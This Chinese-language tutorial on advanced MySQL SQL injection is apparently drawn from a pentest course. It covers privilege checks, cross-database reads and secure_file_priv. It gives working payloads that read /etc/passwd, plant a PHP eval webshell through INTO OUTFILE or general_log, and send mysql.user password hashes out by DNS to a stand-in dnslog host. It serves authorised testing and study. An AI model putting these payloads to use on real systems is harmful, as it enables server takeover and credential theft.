
不谈那些绕来绕去的概念今天这篇直接讲SQL注入进阶里最值钱的一段内容拿到注入点之后怎么判断数据库账号的权限高低怎么从只能操作当前库升级到跨库读取整个数据库实例以及文件读写、secure_file_priv开关、DNS带外这些“高权限玩法”到底怎么落地。这套东西来自某安全进阶课程的SQL注入专题后期实战性很强适合已经会基础注入、想在授权测试里往深处走一步的读者。不管你是红队方向还是蓝队方向把这一块补上你对数据库攻击面的理解会完全不一样。很多人在注入点面前只会一把梭sqlmap一把跑完拿到数据就结束。但真正决定一次测试上限的往往不是能不能查出数据而是数据库账号能干多少事。同样是注入点普通账号可能只能拖当前库的数据高权限账号却可能读服务器文件、写webshell、甚至通过DNS把数据悄悄带出来。今天我就按实战流程把这些内容拆开讲清楚。1. 为什么说高权限判定是SQL注入进阶的第一道门槛1.1 权限高低决定一次注入的杀伤半径数据库账号的权限差异在实际攻防里就是“伤害范围”的差异。用个生活化的类比普通用户在购物网站登录后只能看到自己的订单和收货地址这是“当前库”边界管理员登录后能看到全站所有用户的订单这是“跨库”能力而数据库超级管理员相当于连服务器的硬盘都能摸到也就是文件读写、命令执行这一类能力。放到SQL注入场景里三种权限形态对应三种截然不同的测试走向普通应用账号权限被限制在某个业务库内注入危害集中在当前业务数据最多能拖动表数据、盲注猜数据。跨库权限账号权限覆盖数据库实例下的多个库能够读取其他业务库、系统库的敏感数据。超级管理员账号root/dba/sysadmin在数据库能力之上还可能叠加文件读写、日志配置修改、系统命令执行等高危能力直接影响服务器本身。所以拿到SQL注入点之后第一步不是急着查数据而是搞清楚当前会话是什么权限。这一步判断错了后面所有动作都可能是白费功夫。1.2 高权限判定的实用手法不同数据库的权限判断方式不太一样但MySQL比较典型也最常见。新手可以直接上手试这几组语句观察返回值差异。第一类是身份与版本探测SELECT user(); SELECT current_user(); SELECT session_user(); SELECT version(); SELECT version;user()返回当前连接账号及来源主机比如rootlocalhost如果返回的是app_user%说明不是管理员账号。version()、version能拿到数据库版本号版本信息对后续判断漏洞利用面和函数可用性很关键。第二类是权限查询SHOW GRANTS FOR CURRENT_USER(); SELECT * FROM mysql.user WHERE user root\GSHOW GRANTS是判断权限最直接的方式。如果返回结果里带有GRANT ALL PRIVILEGES ON.说明账号具有全库权限这是跨库和文件读写的先决条件。如果只能看到某个库的SELECT权限那基本就是妥妥的低权限账号。第三类是依托报错与盲注的间接判断。某些注入场景下页面没有直接回显需要通过布尔条件或时间延迟来辅助判断。比如在MySQL中执行AND (SELECT count(*) FROM information_schema.schemata) 5如果页面条件成立与不成立返回不同说明当前账号至少能读取全部库名的统计信息。如果一直报错“access denied”反而说明权限被卡住了。1.3 权限判断中的常见误区很多人把user()和current_user()混为一谈其实两者有微妙差异user()返回的是客户端提供的认证账号current_user()返回的是服务器实际匹配到的授权账号。如果连接串里账号名与授权表里的账号名不完全一致返回值可能会不一样这在实际排查接口权限问题时很容易踩坑。另一个常见问题是版本差异。MySQL 5.x的information_schema里能直接查Schemata、Tables、Columns等视图但MySQL 8.0之后部分统计视图被调整某些列被废弃比如information_schema.tables里的statistic列已经不存在。如果照搬老语法在高版本上会直接报错影响判断效率。遇到版本报错先别慌看错误信息里提示的版本号再调整对应语法。还有一点报错本身也是信息。很多注入场景下数据库报错会暴露当前用户名、权限不足提示、文件路径、操作系统版本等元数据。测试时别急着屏蔽所有报错先仔细看一遍报错完整内容往往能白捡关键线索。2. 跨库查询从当前库打到整个数据库实例2.1 跨库查询到底在查什么很多初学者有个误区以为MySQL里的“数据库”就是整个数据库服务。实际上一个MySQL实例下挂着多个平行库information_schema、mysql、performance_schema、sys再加上各类业务库。它们之间是平级的能不能读到另一个库的数据完全取决于账号授权粒度。低权限账号通常只对当前业务库有SELECT权限最多能看到自己库里的表结构跨库查询时要么返回空要么直接报“SELECT command denied to user”。高权限账号则可以通过库名前缀直接访问任意库的表比如SELECT * FROM other_database.users;这一句就是跨库查询的核心姿势。一旦确认有跨库权限后续的信息收集面会瞬间扩大目标不再是一个库里的几张表而是数据库实例中的所有敏感数据。2.2 用system库和业务库组合扩大战果跨库查询的第一步通常是先摸清实例下有哪些库。注入点可控时可以尝试查询SELECT schema_name FROM information_schema.schemata;如果这条语句能返回多个库名说明权限至少覆盖了元数据层。接着就可以对每个库的表做一次地毯式搜索重点关注包含user、admin、member、credit、bank等关键词的表名和列名。实际操作中我习惯把跨库查询分成两条线一条查系统库一条查业务库。系统库里mysql.user表存有数据库账号口令哈希如果有权限读取可以尝试离线破解弱口令或进一步横向渗透。业务库则按优先级排序先摸清那些看起来“值钱”的库再做定向数据提取。2.3 跨库查询的授权限制与边界判断不是所有高权限账号都能跨库。MySQL的授权是“用户名来源主机库名表名”的多维组合有些账号虽然叫root但授权时只允许访问某个库那是假高权限。真正的全库权限必须带有ON *.*或ON%.*这类全局授权。判断方式是执行SHOW GRANTS重点看权限作用范围字段。授权里如果有db1.这类限定只能操作db1下的对象如果有.*那就是真正的全局广域权限。另外有一种特殊情况应用系统连接数据库时使用管理员账号但权限被中间件或代理层限制。在注入点看到的语句以普通用户执行但底层连接池里还可能混有更高权限的连接这种情况需要通过二次注入或SESSION级权限提升来试探不属于常规跨库范畴但值得留意。3. 文件读写与secure_file_priv开关绕过全解3.1 文件读写从数据库到服务器的关键一步SQL注入一旦能升级到文件读写攻击面直接从“数据库数据”跳到“服务器文件系统”。MySQL中读文件用load_file()写文件用INTO OUTFILE/INTO DUMPFILE。典型场景如下。读文件示例SELECT LOAD_FILE(/etc/passwd); SELECT LOAD_FILE(C:\\Windows\\win.ini);写webshell示例SELECT ?php eval($_POST[x]);? INTO OUTFILE /var/www/html/shell.php;如果这两条语句能成功执行就意味着拿到了服务器的部分控制权。web目录一旦可写就能直接植入webshell后渗透的路径就完全打开了。这也是为什么数据库文件读写能力在攻防中如此关键。3.2 secure_file_priv参数到底是什么secure_file_priv是MySQL用于限制文件导入导出路径的开关。很多实战者卡在文件读写环节就是因为对这个参数理解不到位。它有三种取值含义取值含义对文件读写的影响NULL禁止文件导入导出load_file和INTO OUTFILE都不可用空字符串不限制路径读写任意路径文件指定目录如/tmp/只允许在指定目录读写其他路径直接报错查看方式很简单SHOW VARIABLES LIKE secure%;默认情况下MySQL 5.5及以后版本的官方安装包会把secure_file_priv设为NULL或指定目录这也是现在很多目标站明明有注入点却死活读不了文件的原因之一。3.3 绕过secure_file_priv的思路与边界很多人一听到“绕过”就觉得一定有口令实际上secure_file_priv的绕过更多是“场景适配”而不是“硬破”。我按实际情况整理几个方向。第一如果secure_file_priv被设置为NULL常规读写函数直接失效。这时候不要硬刚文件读写可以把目标转向数据外带。既然文件系统进不去优先保证数据能带出来DNS带外或者HTTP数据外带都可以继续推进。先完成数据层面目标再考虑服务器控制。第二如果secure_file_priv被设置为某个具体目录且该目录可被Web服务访问那就直接把webshell写到该目录下然后再想办法把webshell通过其他方式移动或映射到可访问位置。实际操作中很少能一步到位但值得尝试。第三尝试修改general_log配置。MySQL的通用日志默认可能关闭但如果当前账号具备SUPER权限或能修改全局变量可以将general_log打开并把general_log_file指向Web目录然后通过执行SQL语句将webshell内容写入日志文件间接实现“无OUTFILE写文件”。示例如下SET GLOBAL general_log ON; SET GLOBAL general_log_file /var/www/html/shell.php; SELECT ?php eval($_POST[x]);?;这种方式不依赖secure_file_priv是文件写入被限制后的重要替代路径但前提是账号具备修改全局变量的权限且目标目录可写、Web服务可解析。3.4 文件读写实操中的路径与权限细节文件读写失败很多时候不是secure_file_priv的锅而是路径不对或目录权限不足。实战中先确认web根目录常见默认路径有/var/www/html、/usr/share/nginx/html、C:\inetpub\wwwroot等。可以通过报错信息、phpinfo页面、配置文件读取等渠道确定真实web根路径。还要注意目录权限问题。即使secure_file_priv允许写操作系统层面的Web目录如果被写保护INTO OUTFILE依然会失败。这时候要么找其他可写目录要么换日志写文件的方式。另外INTO DUMPFILE和INTO OUTFILE有细微差别OUTFILE会写入文本格式并处理转义DUMPFILE是逐字节写入二进制内容写webshell时如果内容包含特殊字符DUMPFILE更可靠。实战中我写一句话木马时更常用DUMPFILE避免转义引发的内容损坏。4. DNS带外没有回显也能把数据拿出来4.1 为什么需要DNS带外SQL注入测试中经常遇到“查无回显”的场景页面不展示查询结果、报错被应用层吞掉、时间盲注又慢又容易触发WAF。这时候DNS带外OOB就派上了用场。用类比解释时间盲注相当于“蒙着眼睛猜密码”一秒钟猜一个字符DNS带外相当于“让保险箱自己拨打电话告诉密码”只要目标能向外发起DNS解析数据就能通过DNS请求悄悄传出来。核心思路是让目标数据库向自己可控的DNS服务器发起解析请求并把敏感数据拼进子域名部分随后在DNS日志里读取数据。4.2 触发DNS请求的几种SQL手法MySQL中常见的触发方式是借助load_file()解析UNC路径。MySQL在Windows环境下访问UNC路径时会发起SMB请求在Linux环境下则可能触发DNS解析请求前提是服务器允许外发DNS流量。SQL大致长这样SELECT LOAD_FILE(CONCAT(\\\\, (SELECT password FROM mysql.user LIMIT 1), .dnslog.example.com\\x));把查询结果拼成子域名目标服务器解析该域名时DNS请求就会发往我们控制的DNS服务器并在日志中记录完整的子域名于是敏感数据就被带了出来。MSSQL下也可以借助xp_dirtree、xp_fileexist等存储过程触发UNC路径请求。不过在利用前需要确认账号具备执行扩展存储过程的权限很多高权限账号默认是允许的。能不能成功触发DNS请求取决于两个前提一是目标确实会发起对目标域名的解析二是目标到公网53端口的DNS链路没有被防火墙阻断。这两个条件缺一不可。4.3 DNS带外的限制与坑DNS带外不是万能药有一堆细节容易翻车。第一子域名长度限制。DNS协议中子域名单段不能超过63字符完整域名不能超过255字符。直接把长字符串拼进子域名会被截断所以外面传输前通常先把数据转成十六进制分段外带。比如查询结果先用HEX()转换再分成多段每段一段一个子域名。第二特殊字符问题。原始数据里的加号、斜杠、问号等字符拼入域名会引发解析异常必须先做编码。速度优先就HEX兼容度最好也HEX缺点是对半长度会膨胀所以只适合外带较短的关键数据。第三DNS平台的刷新延迟。自己在本地搭的DNS接收环境或者在线DNSLog平台记录刷新通常有几秒到几十秒的延迟。测试时不要连续快速发包避免日志还没刷新就误认为失败。第四外发流量被阻断。企业出口防火墙、云安全策略可能封堵对外53端口或SMB流量。这种情况换个思路观察是否允许HTTP回连如果目标能主动访问我们的HTTP服务也可以考虑用HTTP请求外带数据只是HTTP流量更容易被上层检测设备感知。4.4 实战中的DNS带外操作流程我先在本地准备一个可控的记录环境或者使用在线DNSLog平台拿到一个专属子域名。接着在注入点构造以下测试SELECT LOAD_FILE(CONCAT(\\\\, test, .target.dnslog.cn\\a));执行后立刻去DNSLog平台刷新记录如果能看到test.target.dnslog.cn的解析记录说明该注入点具备DNS带外条件可以尝试外带真实数据。如果没有解析记录要排查是不是load_file不可用、目标不出网、还是防火墙拦截。别急着否定DNS带外先把条件链逐项确认。数据外带时我习惯按优先级抽数据先带当前库名、表名再带目标字段值每次只带一小段频率控制低一点避免大量DNS请求引起告警。批量化操作适合脚本自动化但脚本要控制好节拍纯手工叩一百次也能跑但效率太低。5. 从注入点到全流程实操梳理与排查速查5.1 一条完整的高权限利用流程这里把我常用的流程串一下给读者一个完整的参考骨架。拿到注入点后我通常会按这个顺序往下走确认注入类型区分字符型、数字型、报错型、盲注型确定可用的SQL执行上下文。探测数据库类型根据不同数据库的注释符、函数差异快速区分MySQL、MSSQL、Oracle、PostgreSQL。获取当前账号与版本信息user()、current_user()、version()确认基础身份。检查权限粒度SHOW GRANTS FOR CURRENT_USER()确认是否为全库高权限。尝试读取库名列表information_schema.schemata确认实例下的库边界判断跨库可行性。尝试文件读写检测SHOW VARIABLES LIKE secure%看secure_file_priv配置再用LOAD_FILE读取已知文件验证FILE权限。尝试DNS带外探测看看目标能否发起外网DNS解析为盲注场景预留数据通道。数据提取与后渗透按目标敏感度排序优先提取关键数据若条件允许再考虑webshell写入等高权限操作。整理测试记录与加固建议这一步不分红蓝都该做数据面和防御建议一起输出。5.2 常见失败原因速查表故障现象可能原因排查方向替代方案load_file总是返回NULL账号无FILE权限SHOW GRANTS看授权尝试日志写文件或DNS带外INTO OUTFILE写入失败secure_file_priv限制看变量值是否为NULL或具体目录改用general_log写文件写入成功但webshell无法访问web根目录判断错误核对报错路径与默认web目录换个可写可解析目录跨库查询返回空账号权限仅限当前库检查GRANT授权范围先提升权限或换连接DNS带外无记录目标不出网或load_file不可用先做test解析再排查链路改用HTTP外带或纯时间盲注盲注速度太慢逐字符猜测效率低尝试报错型或布尔型注入用DNS带外批量传数据报错信息被应用吞掉应用层错误处理覆盖观察响应差异或非200状态码使用时间盲注或OOB5.3 自动化工具与手工思路怎么配合sqlmap确实可以自动化完成权限探测和数据提取比如--dbs可以列出所有库--file-read可以尝试读文件--os-shell可以尝试命令执行。但我不建议纯靠工具一键到底。工具能帮你快速验证某条路径可不可行但路径选错了工具只会给你一个让人迷惑的错误结果不会告诉你问题出在secure_file_priv还是目录权限。我的习惯是手工先做一遍权限探测和路径验证搞清楚目标环境的权限边界再用工具辅助铺量。手工确定了可行的注入方向和可利用点工具负责提升效率。这个流程虽然慢一点但成功率远高于直接无脑跑工具。5.4 学习建议与靶场验证想把这套东西练熟强烈建议在自己搭的镜像环境或靶场里反复操作。本地用容器把MySQL跑起来分别把secure_file_priv设成NULL、空字符串、指定目录三种状态再把general_log打开模拟不同权限场景亲手跑一遍文件读写、日志写入、DNS带外。容器化环境的好处是快照恢复非常方便搞坏了也不怕。还需要刻意练习的是“报错信息敏感度”。很多路径判断都藏在报错里练习时可以故意构造各种错误语句观察返回信息的差异逐步建立对数据库元数据的直觉。最后必须反复强调以上所有操作仅适用于授权测试、靶场练习和CTF竞赛。没有拿下授权之前对线上系统做任何注入测试都是违规甚至违法的。技术本身是中立的但使用场景决定了性质。这套流程走完一遍之后你会发现SQL注入的阈值不在于“能不能注入”而在于“注入之后能飞到多远”。高权限判定是起跑线跨库查询和文件读写是两条主要的扩大战线方向DNS带外是数据通道兜底方案。把这几个能力连起来面对一个注入点时你的决策路数就清晰得多。我个人踩过最多次的坑就是文件读写路径判断失误在secure_file_priv已经放开的情况下因为不确定web根目录而反复碰壁。后来我习惯先用load_file读取常见的配置文件、日志文件路径来推断目录结构再决定写入位置成功率一下就上去了。这个小技巧分享给读者希望能少走点弯路。